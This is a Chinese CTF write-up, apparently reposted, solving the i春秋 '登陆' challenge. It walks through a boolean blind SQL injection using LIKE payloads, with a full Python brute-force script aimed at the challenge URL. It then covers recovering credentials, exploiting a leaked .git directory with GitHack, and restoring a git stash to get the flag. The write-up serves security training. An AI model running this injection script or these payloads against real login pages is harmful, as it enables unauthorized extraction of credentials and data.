当前位置: 首页 > article >正文

i春秋-登陆(sql盲注爆字段,.git缓存利用)

练习平台地址

竞赛中心

题目描述

先登陆再说

67a383e03f0c4f8281e37e046c248d4b.png 题目内容

就是一个登录框

43e7fd771c7b4da98334042b0ae3ebf2.png

测试登录

用户名:admin' or 1=1#

密码:随便输

返回密码错误

用户名:随便输

密码:随便输

返回用户名不存在

 这里就可以确定时一个bool盲注了

这里提供一个like注入的python脚本

代码逻辑就是给出一个列表,用列表中的字符不断拼接内容作为payload

#-*- coding:utf-8 -*-
from urllib.request import urlopen
from urllib import parse,request
import sys
import threading

url = 'http://eci-2ze7mdt9g8r0p73g7mmo.cloudeci1.ichunqiu.com/Challenges/login.php'

def get_database_length():
   for i in range(1,sys.maxsize):
      username= "admin' or length(database())>{0}#"
      username = username.format(i)
      values = {"username":username, 'password':''}
      data = parse.urlencode(values).encode('utf-8')
      response = request.Request(url, data)
      response = urlopen(response)
      if len(response.read().decode()) != 4:
         print("当前数据库长度为:", i)
         return i

def get_database_name():
   global lock
   lit=list("0123456789qwertyuioplkjhgfdsazxcvbnmPOIUYTREWQASDFGHJKLMNBVCXZ")
   #后台SQL语句形如:
   #select xxx from xxx where username='' or 其他字段=xxx#
   #我们把其他字段替换成user_n3me或者p3ss_w0rd即可得出表中的用户名和密码字段
   username="admin' or p3ss_w0rd like '{0}%'#"
   #  username="admin' or p3ss_w0rd like '{0}%'#"
   database=''
   print("Start to retrive the database")
   while True:
      curId=0
      while True:
         if curId == len(lit):
            break
         i = curId
         curId += 1
         un=username.format(database+lit[i])
         print(un)
         values = {"username":un, 'password':''}
         data = parse.urlencode(values).encode('utf-8')
         response = request.Request(url, data)
         response = urlopen(response)
         if len(response.read().decode()) == 4:
            database=database+lit[i]
            print("the database is :%s" % database)
            break
      if curId == len(lit):
         print(database)
         break

#print(get_database_length())
get_database_name()

 关键部分

url的地址改为题目的地址

POST发送的注入语句,检查源代码发现这两个字段很皮,应该是当前数据库中的两个表格

f82a45185d74431a92b36a2b2dd6c553.png

username="admin' or p3ss_w0rd like '{0}%'#"

username="admin' or user_n3me like '{0}%'#"

最后可以跑出用户名和密码

用户名:bctf3dm1n

密码:2bfb1532857ddc0033fdae5bde3facdf #adminqwe123666

82cb4a1bc47e4165a09dd93aedcca5e9.png

成功登录

登录后得到了新的提示——存在.bctfg1t隐藏文件 

772341ad79384c6993137af42effd9e2.png

猜测这里是.git文件泄露

ba69a5d03c8f49afb8a5d00064f82818.png

直接上GitHack!!!

3ac7e3fc84c9437aa42dc00d7ea5d1cc.png

查看日志

提示不要怀疑flag就在git,说明不在这里

6b1099d4d42647a09065ece618656b80.png 结合题目提示的缓存

​git​​​中与缓存相关的就是​​stash​​​,我们进入下载下来的网站目录,再进入​​.git​​​目录,再进如​​refs​​​目录,之后​​cat stash​​​:得到一个​​commit​​

 显示隐藏的项目 54445e5ebbbf4f6aada7ff439e4268f4.png

查看stash得到commit

869a2b37e301472aa889f26dfdc22ed2.png

git reset --hard commit​​​,之后再查看​​flag.php

git reset --hard bee231dcc3e136cf01d4b0a075765a9490ecfa87

0ef3cb9bc8904263a9d42828a2584629.png

589795cb740044ba9ddca038a1e01cd7.png

 flag

f355cdae9e924cc79a439ff4517625cb.png

flag{f075ec24-0710-464d-9458-2b442a2c73a4}  

注意事项

1.当尝试ascii​​​获取数据库名字失败,要考虑可能后端对某些字符串进行了过滤,可以尝试使用​​like​​盲注来进行替代

2.如果使用information_schema​​数据库跑表时出现问题,那么很可能是这个被过滤了,我们要去寻找有没有表名的有关信息,不然无法得到结果

3.​git​​​中与缓存相关的就是​​stash​​​,查看stash可以得到一个commit,执行命令git reset --hard commit可以将当前分支的状态强制重置到指定的commit(提交)状态

 


http://www.kler.cn/a/395788.html

相关文章:

  • LC12:双指针
  • Elasticsearch retrievers 通常与 Elasticsearch 8.16.0 一起正式发布!
  • 聊聊Flink:Flink的分区机制
  • Linux 命令行配置为单臂旁路由。
  • 博物馆实景复刻:开启沉浸式文化体验的新篇章
  • postgresql.conf与postgresql.auto.conf区别
  • 【Rust 编程语言工具】rustup-init.exe 安装与使用指南
  • 如何在 Ubuntu 上安装 Jupyter Notebook
  • 部署Apache Doris
  • C++11新特性:lambda表达式,包装器,新的类功能
  • 富格林:正确应付阻挠虚假交易
  • 如何用Java爬虫“采集”商品订单详情的编程旅程
  • C++中 ,new int(10),new int(),new int[10],new int[10]()
  • 除了网页标题,还能用爬虫抓取哪些信息?
  • 实时数据流的革命:分布式数据库的挑战与实践
  • 图像处理之cornerdetection(角点检测)综述
  • 从cityengine到unreal,游戏引擎助力城市设计
  • Linux服务器下连接kingbase并执行SQL的脚本
  • 关于指针对象的问题
  • 搜维尔科技:TOUCH力反馈设备睿尔曼机械臂,遥操作机械臂
  • 实现 Toy-React , 实现 JSX 渲染
  • 通过css的哪些方式可以实现隐藏页面上的元素?
  • spark的学习-05
  • Java中的集合类与线程安全的讨论
  • ETLCloud支持的数据处理类型包括哪些?
  • ubuntu docker里面安装Omniverse Launcher不能登陆